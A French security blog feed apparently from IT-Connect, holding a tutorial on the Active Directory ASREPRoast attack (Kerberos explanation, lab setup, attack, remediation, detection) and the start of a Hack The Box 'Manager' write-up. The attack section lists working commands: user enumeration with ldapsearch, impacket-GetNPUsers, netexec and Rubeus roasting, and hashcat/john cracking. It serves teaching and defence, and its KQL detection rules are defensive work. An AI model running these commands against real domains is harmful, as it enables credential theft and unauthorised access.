Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierFlux principal

Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast

26 mars 2024 à 08:00

I. Présentation

Dans cet article, nous allons comprendre, exploiter et corriger une vulnérabilité fréquente sur les environnements Active Directory : ASREPRoast.

Ce nom ne vous dit peut-être rien, mais il s'agit d'un défaut de configuration fréquent dans l'Active Directory. L'attaque ASREPRoast permet à un attaquant situé sur un réseau d'entreprise possédant un domaine de compromettre rapidement un compte utilisateur, et ainsi de passer d'un mode opératoire boite noire (attaque sans identifiants valides, juste une connexion au réseau) à un mode boite grise (attaque depuis un compte valide sur le domaine). Le passage d'un mode boite noire à boite grise change en général la donne de façon très importante lors d'une cyberattaque, car l'accès authentifié au domaine permet d'en extraire beaucoup d'informations.

L'objectif de cet article est de vous expliquer en détail cette vulnérabilité. Nous allons notamment voir comment elle peut être introduite sur un Active Directory, comment un attaquant peut l'exploiter et comment un défenseur peut l'identifier et la corriger.

C'est parti !

II. Qu'est-ce que l'attaque ASREPRoast ?

A. Dans les grandes lignes

Commençons par essayer de comprendre le nom de l'attaque. "ASREP" fait référence au message "KRB-AS-REP" du service Kerberos lors d'une authentification (réponse à un message KRB-AS-REQ, une requête d'authentification Kerberos). "Roast" renvoi simplement au mot "rôtir" ou "cuisiner" car l'on devra ensuite travailler un peu sur la donnée obtenue pour pouvoir l'utiliser.

Au sein d'un domaine, l'authentification Kerberos est assurée par le composant Key Distribution Center (KDC) des contrôleurs de domaine. Lorsqu'un utilisateur souhaite accéder à un service ou à une ressource réseau, il doit d'abord obtenir un Ticket Granting Ticket (TGT) auprès du KDC. Pour cela, l'utilisateur envoie une requête de type "KRB-AS-REQ" (Kerberos Authentication Service Request) au KDC, elle contient notamment des informations d'identification de l'utilisateur et une clé liée à son mot de passe.

Le KDC vérifie alors les informations d'identification fournies par l'utilisateur. Si celles-ci sont correctes et que l'utilisateur existe dans le domaine, le KDC lui délivre un TGT. Ce TGT est ensuite utilisé par l'utilisateur pour obtenir des tickets de session (TGS) auprès des services du domaine, lui permettant d'accéder à ceux-ci sans avoir à fournir à nouveau ses informations d'identification. Ce processus s'appelle pre-authentification.

Schéma d'une authentification Kerberos et de l'émission d'un TGT.
Schéma d'une authentification Kerberos et de l'émission d'un TGT.

Cependant, il existe une configuration spécifique représentée par un attribut sur les comptes utilisateurs appelé "Do not require Kerberos preauthentication". Cet attribut autorise l'envoi d'un TGT pour un compte sans que le demandeur n'ait prouvé son identité au préalable.

Schéma de l'émission d'un TGT pour un utilisteur ayant l'attribut "Do not require Kerberos preauthentication".
Schéma de l'émission d'un TGT pour un utilisteur ayant l'attribut "Do not require Kerberos preauthentication".

En conséquence, n'importe qui sur le réseau peut obtenir un TGT représentant ce compte utilisateur et tenter d'usurper son identité. Il est important de noter que le TGT obtenu ne peut être utilisé que si la personne qui le détient connaît le mot de passe du compte associé. Cependant, en cas d'utilisation d'un mot de passe faible, le contenu du TGT peut être utilisé pour retrouver le mot de passe du compte utilisateur.

Le TGT ne contient pas directement le mot de passe de l'utilisateur. Mais, il contient des informations chiffrées grâce au secret de l'utilisateur, qui sont utilisés pour prouver l'identité de l'utilisateur lorsqu'il demande des tickets de session ultérieurs. Ainsi, des "traces" du mot de passe s'y trouve, ce qui permet de tenter de casser le TGT pour retrouver le mot de passe en clair.

Cette attaque est très connue des attaquants, si bien qu'elle dispose de son propre TTP (Tactics, Technics and Procedures) dans le framework MITRE ATT&CK : T1558.004- Steal or Forge Kerberos Tickets: AS-REP Roasting.

B. Dans le détail

Regardons à présent dans le détail ce qu'il se passe lors d'une authentification via Kerberos. Pour cela, j'ai effectué une capture réseau des échanges dans différents cas de figures.

  • AS-REQ pour un login inexistant

Lorsqu'un utilisateur souhaite s'authentifier auprès du service Kerberos, le client envoi dans un premier temps un message de demande d'authentification ("KRB-AS-REQ"), voici à quoi il ressemble sur une capture réseau (cliquez sur l'image pour zoomer) :

"AS-REQ" suivi d'une erreur "ERR_C_PRINCIPAL_UNKNOWN".
"AS-REQ" suivi d'une erreur "ERR_C_PRINCIPAL_UNKNOWN".

Dans le cas d'une demande d'authentification avec un login incorrect, c'est-à-dire qui n'existe pas dans l'Active Directory, le service Kerberos renvoi un message de type "KRB-ERROR : C-PRINCIPAL-UNKNOWN" en réponse à l'AS-REQ" du client. Le message est clair : l'utilisateur "MMARTIN1" n'existe pas dans l'Active Directory.

  • AS-REQ pour un login existant avec pré-authentification

Si le login est correct, le service renvoi une réponse de type "KRB-ERROR : PREAUTH REQUIRED". Cette réponse du service Kerberos indique que pour obtenir un TGT pour cet utilisateur, il faut au préalable s'authentifier, ce qui est plutôt une bonne nouvelle d'un point de vue sécurité. Rappelons que les TGT sont des tickets qui permettent de demander des TGS (Ticket Granting Service) pour accéder à un service au nom de l'utilisateur présenté dans le ticket. Il est donc préférable de prouver son identité (s'authentifier) au préalable.

À noter que cette différence de comportement dans la réponse du service ("PRINCIPAL_UNKNOWN "ou "PREAUTH REQUIRED") permet une énumération des utilisateurs basée sur un dictionnaire. Sans même connaitre le mot de passe associé à un compte, on peut savoir s'il existe dans l'annuaire, car le service Kerberos nous indiquera clairement cette information dans sa réponse.

Voici à quoi rassemble une réponse "PREAUTH_REQUIRED". Suite à cette réponse, notre client s'authentifie envoyant un message "AS-REQ", encore ? (cliquez sur l'image pour zoomer) :

Réponse "ERR_PREAUTH_REQUIRED" indiquant que le compte utilisateur existe dans l'annuaire.
Réponse "ERR_PREAUTH_REQUIRED" indiquant que le compte utilisateur existe dans l'annuaire.

Ce second message "AS-REQ" contient cependant un nouvel item, il s'agit d'une donnée chiffrée à l'aide d'une clé liée au mot de passe utilisateur. Si le service Kerberos parvient à déchiffrer ce message avec le mot de passe de l'utilisateur (qu'il possède de son côté grâce à l'annuaire et sa base NTDS.DIT) alors, il aura la preuve qu'il s'agit du bon mot de passe, et donc du vrai utilisateur. Tout cela sans que le mot de passe n'ait transité en clair sur le réseau. Pour plus de détails, sachez que la donnée chiffrée est un timestamp : c'est-à-dire la date et l'heure actuelle dans un format précis (notez le "pA-ENC-TIMESTAMP" dans la seconde AS-REQ).

Enfin, si les identifiants sont corrects, le service envoi un message de réponse "AS-REP" contenant notamment un TGT, qui permet de demander ensuite des TGS (cliquez sur l'image pour zoomer) à différents services :

Transmission d'un TGT par le service Keberos suite à une authentification réussie.
Transmission d'un TGT par le service Keberos suite à une authentification réussie.

Voilà à quoi ressemble une authentification "classique" via Kerberos en vue d'obtenir un TGT.

  • AS-REQ pour un login existant sans pré-authentification

Cependant, Microsoft a ajouté un attribut aux objets utilisateur qui permet d'autoriser le service Kerberos à fournir un TGT à quiconque le demande, sans authentification : l'attribut "Do not require Kerberos preauthentication". Dans ce cas, un attaquant peut demander un TGT pour un tel compte sans avoir besoin de fournir de preuve d'identité valide. Voilà alors ce qu'il se passe (cliquez sur l'image pour zoomer) :

Obtention d'un TGT sans authentification préalable pour un utilisateur ayant l'attribut "No preauthentication required".
Obtention d'un TGT sans authentification préalable pour un utilisateur ayant l'attribut "No preauthentication required".

Une "AS-REQ", demandant un TGT pour l'utilisateur "RDUBOIS", puis une "AS-REP" du KDC délivrant TGT, le tout sans preuve d'identité (authentification). N'importe qui peut donc usurper l'identité de l'utilisateur "RDUBOIS" en demandant un TGT à son nom, puis utiliser ce TGT pour demander des TGS aux services du domaine et y accéder.

Pour être plus précis, rappelons que le TGT obtenu dans les messages "AS-REP" est chiffré et ne peut être utilisé sans connaître le mot de passe du compte utilisateur. Cependant, étant donné qu'il est chiffré avec un dérivé du mot de passe utilisateur, l'attaquant pourra tenter de casser ce mot de passe en Offline (localement, sans interactions supplémentaires avec le KDC ou le domaine), pour retrouver le mot de passe de l'utilisateur.

En résumé, quand cet attribut est présent sur un compte utilisateur, n'importe qui peut obtenir une donnée (le TGT) qui utilise un dérivé du mot de passe du compte utilisateur, et donc tenter de retrouver le mot de passe en clair. Même en étant confiant sur l'algorithme de chiffrement et la robustesse du mot de passe utilisé, reconnaissons qu'il est plutôt périlleux de fournir ce genre d'informations à un simple visiteur non authentifié sur notre système d'information.

J'espère que cette vue en détail des échanges Kerberos vous aura permis de mieux comprendre le fonctionnement de l'attaque ASREPRoast.

C. Pourquoi cet attribut ?

Certaines applications ne prennent pas en charge la pré-authentification Kerberos, il est ainsi courant de trouver des utilisateurs avec la pré-authentification Kerberos désactivée, permettant ainsi aux attaquants de demander des TGT pour ces utilisateurs. C'est la raison principale de l'existence de ce paramètre d'après la documentation Microsoft. La pré-authentification Kerberos peut également être désactivée pour d'autres raisons liées à des besoins spécifiques de sécurité ou de compatibilité avec d'autres systèmes.

Dans la réalité, il n'est pas rare de trouver de tels comptes, notamment sur des systèmes d'information qui ont un certain historique...

III. Configuration d'un Lab vulnérable

Attention, dans ce chapitre, nous allons configurer de manière volontaire un Lab vulnérable pour vous exposer le but et le fonctionnement de l'attaque.

NE PAS REPRODUIRE SUR UN ENVIRONNEMENT DE PRODUCTION.

Dans mon Lab de démonstration, j'ouvre la console "Utilisateurs et ordinateurs Active Directory", puis je sélectionne un de mes utilisateurs, ici l'utilisateur "RDUBOIS". Il faut ensuite faire un clic droit "Propriétés" sur cet objet et se rendre dans "Compte" :

Configuration de l'attribut "Do not require Kerberos preauthentication" sur un compte utilisateur.
Configuration de l'attribut "Do not require Kerberos preauthentication" sur un compte utilisateur.

Dans les "Options de compte", il faut trouver et cocher "La pré-authentification Kerberos n'est pas nécessaire" comme sur l'image ci-dessus.

Si vous vous souvenez des explications précédentes, l'attaque ASREPROAST est d'autant plus dangereuse si le mot de passe utilisé est faible, pour avoir un cas d'école, nous allons paramétrer le mot de passe de l'utilisateur "RDUBOIS" à "#1p@ssword" (ce n'est pas un mot de passe faible ? Vous allez voir que si 🙂 ). Il faut à nouveau faire un clic droit sur l'objet puis "Réinitialiser le mot de passe" :

Paramétrage d'un mot de passe faible sur le compte utilisateur.
Paramétrage d'un mot de passe faible sur le compte utilisateur.

Voilà, notre Lab d'entrainement est prêt !

IV. Point de vue de l'attaquant

Soyez vigilant à n'exploiter ou même tenter de découvrir cette vulnérabilité que si vous y êtes autorisé. Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

A. Trouver une liste de noms

Vous l'aurez compris, pour effectuer une attaque ASREPRoast, il faut un login utilisateur à tester, voire plusieurs. Dans un premier temps, l'attaquant doit donc se constituer une liste de login (dictionnaire) qu'il soumettra ensuite au service Kerberos.

  • Dans le cas où l'attaquant n'est pas authentifié sur le domaine (boite noire) :

Si l'attaquant n'a pas de compte sur l'Active Directory, il peut utiliser différentes méthodes pour récupérer des logins valides. L'OSINT (Open Source Intelligence) est une méthode assez commune puisqu'avec quelques requêtes Google ou recherches Linkedin, on peut assez facilement retrouver une liste de personnes travaillant dans une entreprise. La recherche dans des fuites de données, basée sur le nom de l'entreprise ou l'adresse mail, est aussi fréquente.

Depuis l'intérieur du réseau (toujours sans compte valide sur le domaine), il existe un grand nombre de techniques également. Les imprimantes sont mon moyen favori, souvent mal protégées avec des interfaces d'administration exposées et verbeuses, elles stockent des carnets d'adresses qui exposent souvent des logins utilisateur. Les applications web internes, services SNMP, SMB et RPC mal configurés (authentification anonyme) ou même l'interception réseau sont également très efficaces.

Également, il est possible pour l'attaquant d'utiliser des dictionnaires pré-conçus utilisant des couples prénom-noms communs, voir des noms de comptes techniques comme "svc-ldap", "backup", "formation", "accueil", etc. Les dictionnaires que j'utilise souvent sont publics et fonctionnent en général très bien, bien qu'utilisant majoritairement des noms anglophones : https://github.com/insidetrust/statistically-likely-usernames.

Avec toutes ces méthodes, il est souvent très facile de se constituer une liste bien fournie de logins utilisateur potentiels. Il faut enfin savoir les formater grâce à la nomenclature actuelle de l'Active Directory ciblé : est-ce "marc.martin", marc_martin, "m.martin", "mmartin" ? etc.

  • Dans le cas où l'attaquant est authentifié sur le domaine (boite grise) :

Si l'attaquant possède déjà un compte sur le domaine, rien de plus facile. Une simple requête LDAP permettra de récupérer la totalité des logins utilisateur de l'annuaire, il aura alors une liste exhaustive des comptes à cibler, augmentant ses chances d'en trouver un avec l'attribut "Do not require Kerberos preauthentication".

Depuis Linux, une requête "ldapsearch" fera l'affaire :

ldapsearch -v -x -D "[email protected]" -W -b "DC=it-connect,DC=tech"  -H "ldap://ad01.it-connect.tech" "(&(objectClass=user))" sAMAccountName |grep "sAMAccountName:" |cut -d " " -f 2 > /tmp/userlist

J'utilise ici la commande "ldapsearch" pour récupérer les attributs "sAMAccountName" des utilisateurs du domaine, puis la commande "grep" pour isoler les lignes qui m'intéressent et enfin "cut" pour isoler uniquement le login de l'utilisateur. Si vous peinez à comprendre cette commande, n'hésitez pas à la décomposer dans votre environnement et à exécuter les commandes une à une. Le tout est enregistré dans le fichier "/tmp/userlist". Voici un exemple du résultat attendu :

Extraction des utilisateurs de l'Active Directory avec un compte valide sur le domaine via "ldapsearch".
Extraction des utilisateurs de l'Active Directory avec un compte valide sur le domaine via "ldapsearch".

Je me retrouve donc avec une liste de 1000 logins utilisateur valides dans le fichier "/tmp/userlist".

L'outil BloodHound va également récupérer la liste des utilisateurs pour les stocker dans un fichier JSON, qui pourra facilement être parcouru pour en extraire les logins. Je vous oriente sur mon cours sur BloodHound si vous souhaitez en savoir plus : Identifiez les faiblesses de votre Active Directory avec Bloodhound

Une fois cette liste, hypothétique, partielle ou complète à disposition, l'attaquant va pouvoir interroger sur le service Kerberos du domaine afin de voir si :

  • L'utilisateur existe dans l'annuaire;
  • Il dispose de l'attribut "Do not require Kerberos preauthentication".

B. Exploiter ASREPRoast depuis Linux

Depuis Linux, une multitude d'outils offensifs existent pour effectuer cette attaque. Je vais ici vous présenter les outils les plus classiques : "impacket" et "netexec".

Impacket est une bibliothèque Python utilisée pour interagir avec des protocoles de réseau tels que SMB, LDAP et Kerberos. Elle offre des outils pour la manipulation de paquets réseau, la création de serveurs et de clients pour ces protocoles, ainsi que des fonctionnalités avancées pour l'analyse et l'exploitation de vulnérabilités. Impacket est très largement utilisé pour les opérations offensives et de nombreux outils utilisent cette librairie.

En plus d'être une librairie très puissante, les créateurs d'Impacket fournissent des scripts qui l'utilisent afin d'automatiser certaines opérations et attaques, comme ASREPRoast. Je ne peux pas détailler ici la procédure d'installation de "Impacket" et de ses "examples scripts", je vous renvoie pour cela à la documentation officielle : Github - Impacket.

  • ASREPRoast en boite noire

Nous allons notamment utiliser le script "impacket-GetNPUsers" ("NP" pour "NoPreauth"). Dans le cas où nous sommes en boite noire, nous avons au préalable construit notre dictionnaire à partir de différentes sources. Nous pouvons utiliser ce dictionnaire pour réaliser une attaque ASREPRoast. Ici,"192.168.56.102" est l'adresse IP de mon contrôleur de domaine, qui héberge le service Kerberos (KDC)) :

impacket-GetNPUsers -usersfile /tmp/userlist -request -format hashcat -outputfile /tmp/IMPACKET_asreproast_blackbox.txt -dc-ip 192.168.56.102 'it-connect.tech/'

L'outil netexec (NXC), également très présent dans les opérations offensives, peut aussi être utilisé :

netexec ldap 192.168.56.102 -u /tmp/userlist -p '' -d it-connect.tech --asreproast /tmp/NXC-asreproast_blackbox.out
  • ASREPRoast en boite grise

Si l'on dispose d'un accès authentifié au domaine, encore mieux, "impacket-GetNPUsers" peut automatiser à la fois la récupération des utilisateurs dans la base LDAP, et l'envoi d'un "AS-REQ" en leur nom pour voir s'ils sont vulnérables à l'ASREPRoast :

impacket-GetNPUsers -request -format hashcat -outputfile ASREProastables.txt -dc-ip 192.168.56.102 'it-connect.tech/mmartin:MyPassword1!'  -outputfile /tmp/IMPACKET_asreproast_greybox.txt

Même principe pour "netexec", il suffira de spécifier l'utilisateur ("-u") et son mot de passe de ("-p") pour s'authentifier auprès du service LDAP afin de récupérer la liste des utilisateurs :

netexec ldap 192.168.56.102 -u mmartin -p 'MyPassword1!' --asreproast /tmp/NXC-asreproast_greybox.txt

Voici le résultat attendu pour "impacket-GetNPUsers" et "netexec" :

Utilisation de "impacket-gtNPUsers" et "netexec" pour la réalisation d'une attaque ASREPRoast.
Utilisation de "impacket-gtNPUsers" et "netexec" pour la réalisation d'une attaque ASREPRoast authentifiée.

On voit donc que plusieurs logins sont tentés sur le service Kerberos et que, pour certains, un hash au format "$krb5asrep$23$" est obtenu. Il s'agit d'une donnée extraite du TGT obtenu pour chaque utilisateur vulnérable, spécialement formaté pour être interprété par des outils de cassage de mot de passe.

Maintenant que nous avons ces hashs, nous pouvons tenter de les casser, par exemple, à l'aide de "JohnTheRipper" ou "hashcat" et de listes de mots de passe communs comme le dictionnaire de mot de passe "rockyou.txt" :

hashcat -m 18200 -a 0 ASREProastables.txt rockyou.txt
john --wordlist=rockyou.txt ASREProastables.txt

Ce cassage s'effectue totalement en local, sans interactions avec l'Active Directory ou le service Kerberos. Ainsi, aucune détection n'est possible. Également, l'utilisateur a ici tout son temps et la rapidité de l'opération dépendra de la robustesse du mot de passe et des ressources de calcul qu'il a à disposition. Si des mots de passe faibles ont été utilisés par les comptes utilisateurs vulnérables, ils seront retrouvés par ces outils :

Cassage du hash "krb5asrep" extrait du TGT de l'utilisateur obtenu via ASREPRoast.
Cassage du hash "krb5asrep" extrait du TGT de l'utilisateur obtenu via ASREPRoast.

Si les mots de passe sont très robustes, alors il faudra déployer des moyens considérables pour les casser. Ici, le mot de passe semble plutôt correct avec 3 alphabets et une longueur de 10 caractères, mais il se trouve dans le dictionnaire public et très connu "rockyou.txt". Nous venons de retrouver le mot de passe d'un utilisateur de l'Active Directory par l'intermédiaire d'un TGT signé grâce à un dérivé de son mot de passe par le service Kerberos.

C. Exploiter ASREPRoast depuis Windows

Sous Windows, l'outil le plus classique pour effectuer cette attaque est "Rubeus.exe", écrit en C#. Le plus simple est de l'exécuter sur une machine intégrée au domaine ou via un "runas.exe" :

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

Voici le résultat attendu :

Utilisation de "Rubeus.exe" pour la réalisation d'une attaque ASREPRoast.
Utilisation de "Rubeus.exe" pour la réalisation d'une attaque ASREPRoast.

Comme pour les outils Linux, le fichier "hashes.asreproast" contiendra les hashs contenus dans les TGT récupérés et pourra être passé à "hashcat" ou "JohnTheRipper" pour cassage.

V. Point de vue du défenseur

A. Lister les comptes utilisateurs avec preauth-notreq

Nous allons maintenant adopter le point de vue du défenseur ou blue team qui souhaite savoir si des utilisateurs vulnérables à ASREPROAST sont présents sur son domaine.

Lorsque nous sommes sur notre propre domaine et contrôleur de domaine, le plus simple est d'utiliser le module PowerShell "ActiveDirectory" qui permet de communiquer avec ADSI (Active Directory Services Interface). Nous pouvons notamment cibler l'attribut "useraccountcontrol" pour extraire les utilisateurs disposant de l'attribut "Do not require Kerberos preauthentication", exemple :

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name, DistinguisedName, Enabled

Voici le résultat attendu :

Nous avons la même liste utilisateur qu'obtenue via notre requête "ldapsearch" bien entendu, avec un filtre sur ceux qui ont déjà l'attribut "Do not require Kerberos authentication", mais nous utilisons ici des outils légitimes et plus accessibles pour les administrateurs système. J'ai notamment ajouté le "DN" et l'attribut "Enabled" en sortie de la commande (via le "Format-Table" ou "ft").

B. Corriger les comptes vulnérables

Une fois cette liste à disposition, il convient tout d'abord de déterminer :

  • Pourquoi ils sont/ont été utilisés, pour quels besoins, services et systèmes ?
  • Est-ce ce qu'ils sont toujours utilisés aujourd'hui ? (date de dernière authentification, dernier changement de mot de passe, journaux d'évènements)
  • Est-ce que l'attribut "Do not require Kerberos authentication" est vraiment utile et répond à un besoin fonctionnel ?

Une fois que ces questions ont toutes une réponse claire pour chaque compte, la décision de désactiver cet attribut peut être prise.

  • Corriger ASREPRoast via l'interface graphique

Depuis la console "Utilisateurs et ordinateurs Active Directory", effectuez un clic droit sur le compte utilisateur concerné, puis "Propriétés. Il faut ensuite se rendre dans "Compte" et localiser l'option suivante :

Désactivation de l'attribut "Do not require Kerberos preauthentication" sur l'Active Directory.
Désactivation de l'attribut "Do not require Kerberos preauthentication" sur l'Active Directory.

Une fois décochée, nous pouvons appliquer nos changements. La modification prend effet immédiatement.

  • Corriger ASPREPRoast via Powershell

Il est aussi possible de modifier la valeur de cet attribut en PowerShell via ADSI. Le cmdlet "Set-ADAccountControl" est fournie par le module PowerShell "ActiveDirectory" :

PS C:\> Set-ADAccountControl -Identity rdubois -DoesNotRequirePreAuth $false

À nouveau, la modification est prise en compte immédiatement.

  • Mesure complémentaire en cas de besoin fonctionnel

Si l'attribut "Do not require Kerberos preauthentication" est nécessaire et répond à un besoin identifié et justifié, alors il convient de mettre un mot de passe très, très robuste à ce compte. L'idée est que même si un TGT est récupéré, l'attaquant ne puisse pas casser le hash qu'il contient en vue de récupérer le mot de passe en clair de l'utilisateur. Optez donc pour un mot de passe à plus de 30 caractères.

Dans l'idéal, il est également nécessaire de prévoir un renouvellement périodique de ces mots de passe afin de réduire leur exposition dans le temps. Si l'attaquant dispose de tout le temps disponible devant lui pour casser le hash contenu dans le TGT, alors il finira peut-être par y arriver (peut-être au bout de plusieurs années). Mais si le mot de passe du compte est changé tous les six mois, il n'aura potentiellement pas le temps de l'exploiter une fois qu'il l'aura cassé. Il s'agit d'une mesure de sécurité supplémentaire.

  • Limiter la propagation suite à une compromission

Il convient également de s'assurer que le compte qui dispose légitimement de l'attribut "Dot not require Kerberos preauthentication" possède des droits limités sur le domaine et le système d'information. La revue des ACL, appartenances aux groupes et l'application du principe de moindre privilège (configuration fine et minimaliste des droits pour répondre uniquement aux fonctions métiers) permettra de limiter au maximum les actions possibles de l'attaquant en cas de compromission du compte.

  • Changement de mot de passe

Enfin, il est à noter que si le compte a eu jusque-là cet attribut, n'importe quel utilisateur de votre domaine a peut être déjà récupéré un TGT et obtenu son mot de passe, ou est en train de tenter de le casser. Ces mesures de correction doivent donc s'accompagner d'un changement de mot de passe afin qu'un attaquant exploitant ou ayant exploité cette faiblesse ne puisse pas réutiliser le mot de passe compromis pour ce compte, ce qui sera possible même si l'attribut en question a été décoché.

C. Détecter une attaque ASREPRoast

Du point de vue du défenseur, nous allons également nous intéresser aux possibilités de détection d'une attaque ASREPRoast passée ou en cours sur le système d'information.

  • Détection via les journaux d'évènements

L'exploitation de l'ASREPRoast génère, comme toute interaction avec l'Active Directory, des évènements. Cependant, il n'est pas aisé de les distinguer clairement des activités légitimes et quotidiennes des utilisateurs du domaine. Il faut savoir que lorsqu'un "AS-REQ" est effectué sur un compte non vulnérable à l'ASREPRoast (et donc, échoue), aucun évènement de sécurité n'est généré. Seule l'émission d'un ticket Kerberos génère un évènement avec l'eventID 4768.

L'event ID 4768 est enregistré sur le contrôleur de domaine chaque fois qu'un TGT est émis. Il indique que le KDC a reçu une demande de TGT (AS-REQ) et qu'il a émis un TGT en réponse. L'évènement journalisé contient alors quelques détails intéressants sur la demande.

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768

Cet évènement apparait donc si :

  • La requête est émise avec une authentification valide, auquel cas un TGT est émis en réponse à l'"AS-REQ".
  • La requête porte sur un utilisateur ayant l'attribut "Do not require Kerberos authentication", auquel cas pas besoin d'authentification, le TGT est tout de même émis en réponse à l'"AS-REQ".

Voici l'évènement tel qu'il apparaitra dans l'observateur d'évènement lors d'une demande de TGT classique, avec authentification (utilisation ici de "impacket-getTGT") :

EventID 4768 suite à une demande et émission de TGT classique, avec authentification.
EventID 4768 suite à une demande et émission de TGT classique, avec authentification.

On voit clairement qu'un TGT a été demandé et émis pour l'utilisateur "IT-CONNECT\mmartin" par le client "192.168.56.104". Nous allons également garder dans un coin de notre mémoire les informations relatives au "Type de pré-authentification" et "Type de chiffrement du ticket". Je réalise maintenant la même opération à destination du compte "IT-CONNECT\rdubois" et avec un outil offensif qui va directement demander un TGT sans authentification préalable (utilisation de "netexec") :

EventID 4768 suite à une demande et émission de TGT à la suite d'une attaque ASREPROast via "netexec"
EventID 4768 suite à une demande et émission de TGT à la suite d'une attaque ASREPROast via "netexec".

Les informations journalisées sont globalement les mêmes lors d'une demande et émission d'un TGT sur un compte ne nécessitant pas la pré-authentification. Cependant, on peut noter deux exceptions (à noter que le résultat est le même lors d'une exploitation avec "impacket-getNPUsers") :

  • Le "Type de chiffrement du ticket" est passé à "0x17" au lieu de "0x12".
  • Le "Type de pré-authentification" est passé à "0" au lieu de "2".

L'utilisation d'un chiffrement à "0x17" (RC4-HMAC) est un comportement typique des outils d'attaque qui downgrade (abaissent) le niveau de chiffrement utilisé pour le chiffrement du TGT afin de rendre le cassage de son contenu plus aisé. Par défaut, le niveau de chiffrement "0x12" entraine l'utilisation du AES256-CTS-HMAC-SHA1-96 (Source : 4768(S, F): A Kerberos authentication ticket (TGT) was requested). Voilà un premier élément caractéristique d'une attaque ASREPRoast avec des méthodes et outils classiques.

Egalement, la documentation Microsoft est limpide concernant les valeurs du "Type de pré-authentification" :

La demande de TGT avec une valeur "0" à "Type de pré-authentification" est donc également un signal intéressant à surveiller. Pour finir sur cette détection, je vous propose une requête KQL (pour ELK) qui permet d'identifier les événements de demande/émission d'un TGT avec un chiffrement faible (RC4) ou sans pré-authentification :

event.code:4768 AND (winlog.event_data.TicketEncryptionType: 0x17 OR winlog.event_data.PreAuthType: 0)

Pour détailler un peu la requête. Il s'agit d'un filtre sur les évènements Windows ayant un évènement ID 4768 et qui ont, soit un "TicketEncryptionType" à "0x17" (RC4), soit un "PreAuthType" à "0". Voici le résultat sur l'ELK de mon lab (avec moins d'activité qu'un vrai SI, bien sûr) :

Visualisation dans ELK des évèenemtn caractértistique d'une attaque ASREPRoast

Pas de doute, il y a eu une activité suspecte sur mon SI entre 17h45 et 18h15, des TGT sans pre-authentification et avec un algorithme de chiffrement faible ont été demandés.

Surveiller les modifications des attributs utilisateurs

Pour aller plus loin, vous pouvez également chercher et surveiller les event ID 4738 (A user account was changed) et 5136 (A directory service object was modified) qui apparaissent lorsqu'un attribut utilisateur est modifié :

Journalisation de la modification d'un attribut utilisateur via l'eventID 4738.
Journalisation de la modification d'un attribut utilisateur via l'eventID 4738.

Plutôt que la compromission, vous visualiserez alors tous les évènements d'activation/désactivation de l'attribut concerné sur des comptes utilisateurs, ce qui permettra de retrouver le moment où la vulnérabilité a été introduite sur le compte concerné. Là aussi, il faudra aller plus loin pour réellement identifier le nom de l'attribut modifié et s'assurer de n'obtenir que les alertes relatives à l'attribut "Do not require Kerberos preauthentication". Egalement, voici un exemple de requête filtre KQL pour cet évènement :

event.code:4738 AND winlog.event_data.UserAccountControl:*2096*

Voici l'aperçu d'un tel évènement dans la console ElasticSearch :

Visualisation de l'eventID 4738 relatif à l'ajout de l'attribut "Do not requiere kebreroas pre-authentication" dans ElasticSearch.
Visualisation de l'eventID 4738 relatif à l'ajout de l'attribut "Do not requiere kebreroas pre-authentication" dans ElasticSearch.
  • Utilisation d'un honey account

Si vous maitrisez correctement la sécurité de votre système d'information, notamment avec un SIEM et un SOC (Security Operation Center) efficaces, alors vous pouvez envisager la mise en place d'un honey account, ou "compte pot de miel". L'idée est de créer un compte utilisateur volontairement vulnérable à ASREPRoast afin que sa compromission génère un évènement de sécurité activement surveillé par la blue team.

Pour cela, il faut notamment être sûr que ce compte ne sera jamais utilisé de façon légitime par un utilisateur ou un service du SI. Ainsi, si une demande de TGT pour ce compte spécifique apparait dans les journaux d'évènement, ce sera forcément dû à une attaque ASREPRoast en cours.

Attention : La création et la gestion d'un compte pot de miel nécessitent une attention particulière. Il faut s'assurer que les politiques de sécurité et les procédures de surveillance sont bien établies pour garantir que le compte reste contrôlé et qu'il ne devienne pas une vulnérabilité supplémentaire. Il faut notamment s'assurer que l'honey account ait un mot de passe très robuste afin que le hash contenu dans son TGT ne soit jamais cassé, ce qui permettrait à l'attaquant d'obtenir un compte valide sur le domaine.

VI. Conclusion

J'espère que cet article vous a plu et que vous avez maintenant une meilleure idée des risques liés à cette attaque et de la façon de s'en protéger. J'ai essayé de faire en sorte qu'il soit complet en abordant le point de vue des attaquants comme des défenseurs.

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast first appeared on IT-Connect.

Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger

20 mars 2024 à 10:00

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Manager, de difficulté "Medium".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordéesWindows, Kerberos, Active Directory, Brute force, MSSQL, AD-CS
Outils utilisésnmap, kerbrute, impacket, evil-winrm, certipy

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Manager

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$nmap --max-retries 1 -T4 -sS -A -v --open -p- 10.10.11.236

Nmap scan report for 10.10.11.236
